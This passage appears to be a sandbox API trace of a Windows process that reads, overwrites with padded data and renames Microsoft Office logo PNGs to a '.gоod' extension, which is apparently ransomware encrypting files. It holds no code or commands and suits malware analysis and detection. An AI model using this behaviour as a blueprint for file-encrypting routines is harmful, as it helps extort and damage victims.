lpOldMode=0x1fcee230) returned 1 [0204.715] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-100.png.gоod")) returned 1 [0204.716] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x64 [0204.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0204.716] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x35359f0 | out: lpFileInformation=0x35359f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x95f)) returned 1 [0204.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0204.716] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x64 [0204.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0204.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0204.716] GetFileType (hFile=0x478) returned 0x1 [0204.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0204.717] GetFileType (hFile=0x478) returned 0x1 [0204.717] GetFileSize (in: hFile=0x478, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x95f [0204.717] ReadFile (in: hFile=0x478, lpBuffer=0x35366e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x35366e8*, lpNumberOfBytesRead=0x1fcee238*=0x95f, lpOverlapped=0x0) returned 1 [0204.901] CloseHandle (hObject=0x478) returned 1 [0204.912] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x64 [0204.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0204.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0204.914] GetFileType (hFile=0x478) returned 0x1 [0204.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0204.914] GetFileType (hFile=0x478) returned 0x1 [0204.914] WriteFile (in: hFile=0x478, lpBuffer=0x3540eb8*, nNumberOfBytesToWrite=0x960, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3540eb8*, lpNumberOfBytesWritten=0x1fcee148*=0x960, lpOverlapped=0x0) returned 1 [0204.915] CloseHandle (hObject=0x478) returned 1 [0204.915] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x64 [0204.916] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-140.png.gоod", lpFilePart=0x0) returned 0x69 [0204.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0204.916] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7658fe8d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x960)) returned 1 [0204.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0204.916] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-140.png.gоod")) returned 1 [0204.917] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x64 [0204.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0204.917] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x3542208 | out: lpFileInformation=0x3542208*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf9)) returned 1 [0204.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0204.917] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x64 [0204.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0204.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0204.918] GetFileType (hFile=0x478) returned 0x1 [0204.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0204.918] GetFileType (hFile=0x478) returned 0x1 [0204.918] GetFileSize (in: hFile=0x478, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xaf9 [0204.918] ReadFile (in: hFile=0x478, lpBuffer=0x35430a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x35430a0*, lpNumberOfBytesRead=0x1fcee238*=0xaf9, lpOverlapped=0x0) returned 1 [0204.919] CloseHandle (hObject=0x478) returned 1 [0204.932] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x64 [0204.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0204.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0204.933] GetFileType (hFile=0x478) returned 0x1 [0204.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0204.933] GetFileType (hFile=0x478) returned 0x1 [0204.933] WriteFile (in: hFile=0x478, lpBuffer=0x35bee78*, nNumberOfBytesToWrite=0xb00, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x35bee78*, lpNumberOfBytesWritten=0x1fcee148*=0xb00, lpOverlapped=0x0) returned 1 [0204.934] CloseHandle (hObject=0x478) returned 1 [0204.934] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x64 [0204.934] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-180.png.gоod", lpFilePart=0x0) returned 0x69 [0204.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0204.934] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x765dc57a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb00)) returned 1 [0204.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0204.935] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-180.png.gоod")) returned 1 [0204.935] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x63 [0204.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0204.936] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x35c01c8 | out: lpFileInformation=0x35c01c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x67d)) returned 1 [0204.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0204.936] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x63 [0204.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0204.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0204.936] GetFileType (hFile=0x478) returned 0x1 [0204.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0204.936] GetFileType (hFile=0x478) returned 0x1 [0204.936] GetFileSize (in: hFile=0x478, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x67d [0204.936] ReadFile (in: hFile=0x478, lpBuffer=0x35c0bd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x35c0bd0*, lpNumberOfBytesRead=0x1fcee238*=0x67d, lpOverlapped=0x0) returned 1 [0205.163] CloseHandle (hObject=0x478) returned 1 [0206.413] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x63 [0206.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0206.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x47c [0207.568] GetFileType (hFile=0x47c) returned 0x1 [0207.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0207.568] GetFileType (hFile=0x47c) returned 0x1 [0207.568] WriteFile (in: hFile=0x47c, lpBuffer=0x356c830*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x356c830*, lpNumberOfBytesWritten=0x1fcee148*=0x680, lpOverlapped=0x0) returned 1 [0207.799] CloseHandle (hObject=0x47c) returned 1 [0208.578] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x63 [0208.619] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-80.png.gоod", lpFilePart=0x0) returned 0x68 [0208.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0208.619] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x78121384, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x680)) returned 1 [0208.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0208.619] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-80.png.gоod")) returned 1 [0208.620] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-100.png", lpFilePart=0x0) returned 0x55 [0208.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0208.620] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x360b5f8 | out: lpFileInformation=0x360b5f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71d)) returned 1 [0208.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0208.621] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-100.png", lpFilePart=0x0) returned 0x55 [0208.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0208.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0208.621] GetFileType (hFile=0x858) returned 0x1 [0208.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0208.621] GetFileType (hFile=0x858) returned 0x1 [0208.621] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x71d [0208.621] ReadFile (in: hFile=0x858, lpBuffer=0x360c030, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x360c030*, lpNumberOfBytesRead=0x1fcee238*=0x71d, lpOverlapped=0x0) returned 1 [0209.710] CloseHandle (hObject=0x858) returned 1 [0209.906] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-100.png", lpFilePart=0x0) returned 0x55 [0209.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0209.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0209.907] GetFileType (hFile=0x824) returned 0x1 [0209.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0209.908] GetFileType (hFile=0x824) returned 0x1 [0209.908] WriteFile (in: hFile=0x824, lpBuffer=0x3663950*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3663950*, lpNumberOfBytesWritten=0x1fcee148*=0x720, lpOverlapped=0x0) returned 1 [0209.908] CloseHandle (hObject=0x824) returned 1 [0209.909] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-100.png", lpFilePart=0x0) returned 0x55 [0209.909] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-100.png.gоod", lpFilePart=0x0) returned 0x5a [0209.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0209.909] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x79530641, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x720)) returned 1 [0209.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0209.909] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-100.png.gоod")) returned 1 [0209.910] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-140.png", lpFilePart=0x0) returned 0x55 [0209.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0209.910] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x3664c40 | out: lpFileInformation=0x3664c40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0209.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0209.910] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-140.png", lpFilePart=0x0) returned 0x55 [0209.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0209.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 